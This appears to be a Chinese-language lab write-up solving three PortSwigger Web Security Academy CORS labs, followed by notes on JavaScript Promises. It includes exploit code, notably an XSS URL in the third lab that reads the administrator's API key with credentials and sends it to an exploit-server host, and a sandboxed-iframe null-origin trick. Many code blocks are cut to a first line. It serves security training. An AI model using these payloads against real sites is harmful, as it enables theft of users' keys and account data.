Burp Web Academy CORS 跨域资源共享
0x01. PortSwigger Web Security Academy
PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。
本篇文章讲解 Web Security Academy 之中的 Cross-origin resource sharing (CORS) 章节(即跨域资源共享)。
0x02. Cross-origin resource sharing (CORS)
2.1 Lab: CORS vulnerability with basic origin reflection
This website has an insecure CORS configuration in that it trusts all origins.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials:
wiener:peter
使用账号密码登录进入 /my-account
页面,即可看到 API Key。或者,也可以通过 GET /accountDetails
来得到包含 API Key 的 JSON 数据。
在访问 /accountDetails
时,返回的 HTTP Response Header 中包含 Access-Control-Allow-Credentials: true
,表明允许跨域访问时携带 Cookie。
1 | 200 OK |
如果在请求头中增加 Origin: https://attacker.com
,则服务器响应头包含 Access-Control-Allow-Origin: https://attacker.com
,说明存在 CORS 漏洞。
完整利用代码:
1 | <script> |
官方解法用的 XMLHttpRequest
配合 Exploit-Server 的访问日志,我这里使用的是 fetch
配合 Burp Collaborator。说说遇到的问题:最开始在 fetch /accountDetails
时,指定了 mode: 'no-cors'
,此时尽管成功触发了请求,但是读不到返回信息:
- response.ok 是 false
- response.status 是 0
而尝试给 fetch
增加 headers
指定 Origin
字段也没有用,因为根据 fetch headers 的描述,Origin
属于 Forbidden header name,即无法通过代码指定。后来发现,去掉 mode: 'no-cors'
就可以了,回顾 Burp Web Academy WebSockets,可知 mode
支持的设定如下:
mode
用于指明请求是否可以跨域cors
是默认模式,表明遵守CORS
设定same-origin
标识完全禁止跨域请求no-cors
标识忽略CORS
设定,一旦使用该设定,就不允许访问 Response 了,这也是为什么读不到response.ok
了
Setting
mode
tono-cors
disables CORS for cross-origin requests. This restricts the headers that may be set, and restricts methods to GET, HEAD, and POST. The response is opaque, meaning that its headers and body are not available to JavaScript. Most of the time a website should not useno-cors
: the main application of it is for certain service worker use cases.
而默认情况下,mode
为 cors
,表明遵守 CORS 设定;而 Header 中的 Origin
则由浏览器自动设定,因此是可以利用 CORS 漏洞的。
1 | GET /accountDetails |
1 | 200 OK |
2.2 Lab: CORS vulnerability with trusted null origin
This website has an insecure CORS configuration in that it trusts the “null” origin.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials:
wiener:peter
使用账号密码登陆后,为 /accountDetails
请求增加 Origin: https://attacker.com
,并重放:
1 | GET /accountDetails |
得到如下响应:
1 | 200 OK |
HTTP Response Header 并没有 Access-Control-Allow-Origin
相关的设置,因此不支持跨域访问。
如果在请求头设定 Origin: null
:
1 | GET /accountDetails |
则返回 Access-Control-Allow-Origin: null
:
1 | 200 OK |
根据 Access-Control-Allow-Origin - HTTP | MDN 文档:
Note: The value
null
should not be used. It may seem safe to returnAccess-Control-Allow-Origin: "null"
; however, the origin of resources that use a non-hierarchical scheme (such asdata:
orfile:
) and sandboxed documents is serialized asnull
. Many browsers will grant such documents access to a response with anAccess-Control-Allow-Origin: null
header, and any origin can create a hostile document with anull
origin. Therefore, thenull
value for theAccess-Control-Allow-Origin
header should be avoided.
问问 Copilot 如何构造 Origin
为 null
的请求,得知 sandboxed iframe
是可以的,但是 Copilot 给的代码并不正确,没有指定 data:text/html
,因此测试时总是没有 Origin: null
,我以为是 Chrome 的版本太高了。
最后构造出如下代码,可以在 Burp 自带的 Chrome 中对自己测试成功(Chrome/105.0.5195.102
):
1 | <iframe sandbox="allow-scripts allow-same-origin" src="data:text/html, |
不过对于受害者而言,浏览器 UA 提示 Chrome/125.0.0.0
,测试一直不成功。但是本地对于 Chrome/133 和 Edge/133 测试又都是可以的。
网上有人在 2024 年反馈过仅对 Victim 有效,但是对自身测试无效,现在是反过来了,暂时不清楚是何原因,先搁置了。
Update:换个时间点测试,在 Burp Collaborator 中收到了 administrator
的信息:
1 | { |
2.3 Lab: CORS vulnerability with trusted insecure protocols
This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials:
wiener:peter
使用账号密码登陆后,基于 GET /accountDetails
测试 Origin: xxx
,发现当 Origin 是如下形式时,都支持 Access-Control-Allow-Origin
设置:
1 | https://<lab-id>.web-security-academy.net |
进入商品详情页,发现一个查询接口,是 HTTP 协议:
1 | GET /?productId=1&storeId=1 |
1 | 200 OK |
测试发现 productId
可以触发 XSS 漏洞:
1 | http://stock.0a8500650494963380e6ea7a0009005f.web-security-academy.net/?productId=%3Cscript%3Ealert(1)%3C/script%3E&storeId=1 |
那么,构造如下利用代码:
1 | http://stock.0a8500650494963380e6ea7a0009005f.web-security-academy.net/?productId=<script>fetch('https://0a8500650494963380e6ea7a0009005f.web-security-academy.net/accountDetails',{credentials:'include'}).then(r=>r.json()).then(j=>fetch('https://exploit-0aa10028049a96ff8076e96301280033.exploit-server.net/log?key='%2bj.apikey,{mode:'no-cors'}))</script>&storeId=1 |
有两个需要注意的地方:
- 第二个
fetch
,要指定mode:'no-cors'
,这样就允许受害者跨域访问攻击者的域名- 确保可以将数据(API Key)回传给攻击者,而不会被 CORS 策略拦截
- 在构造
'/log?key='+j.apikey
时,+
需要转义成%2b
,否则会被当作空格字符处理- 在 URL 编码时,空格可以使用
%20
或者+
表示,在 Burp Web Academy 命令注入 中有提及
- 在 URL 编码时,空格可以使用
接下来就是构造利用代码了,期望的代码如下:
1 | <script> |
但是需要进一步编码,否则 </script>
可能导致提前闭合,测试最终版本如下:
1 | <script> |
0x03. JavaScript Promise
前面使用 fetch
都是基于 Promise 来处理结果的,相比回调函数会更加方便和简洁。以下内容来自 MDN:
Promise
是一个对象,它代表了一个异步操作的最终完成或者失败。本质上 Promise 是一个函数返回的对象,我们可以在它上面绑定回调函数,这样我们就不需要在一开始把回调函数作为参数传入这个函数了。
1 | const promise = doSomething(); |
Promise.then
最多可以传递两个回调函数:onFulfilled
和 onRejected
处理函数之一将被执行,以处理当前 Promise 对象的兑现或拒绝。
1 | then(onFulfilled) |
注意,通常只需要使用 onFulfilled
即可,只要 Promise 对象兑现,都是执行这个回调函数,而在回调函数本身可以判断业务代码是执行成功还是失败。特别注意,业务代码本身执行成功还是失败,与 Promise 对象的兑现或拒绝,是两个不同的概念。
链式调用:
1 | doSomething() |
函数体也可以使用 =>
形式:
1 | doSomething() |
这里参数的括号可以省略;对于函数体,如果只是一个表达式,那么表达式的值就是隐式的返回值,而如果函数体是复杂的代码块,则必须通过 return
指定返回值。
0x04. 小结
fetch
API 的使用,尤其是mode
的设置- JSON 对象转字符串使用
JSON.stringify(obj)
- CORS 漏洞测试
- 在请求头指定
Origin
看看响应头是否包含Access-Control-Allow-Origin
- 如果没有,则浏览器默认只支持同源访问(Same-Origin Policy,SOP,同源策略),即不可跨域访问
- 如果指定的就是
Origin
的值,说明存在 CORS 漏洞
- 也可以指定
Origin: null
进行测试- 通过
<iframe sandbox="allow-scripts allow-same-origin" src="data:text/html,...
构造此类利用代码
- 通过
- 测试子域名
- 测试不同的协议(
http
、https
)
- 在请求头指定
0x05. 参考文档
- https://portswigger.net/web-security/all-labs#cross-origin-resource-sharing-cors
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Credentials
- https://developer.mozilla.org/en-US/docs/Web/API/Headers
- https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name
- https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API/Using_Fetch
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin
- https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe
- https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Using_promises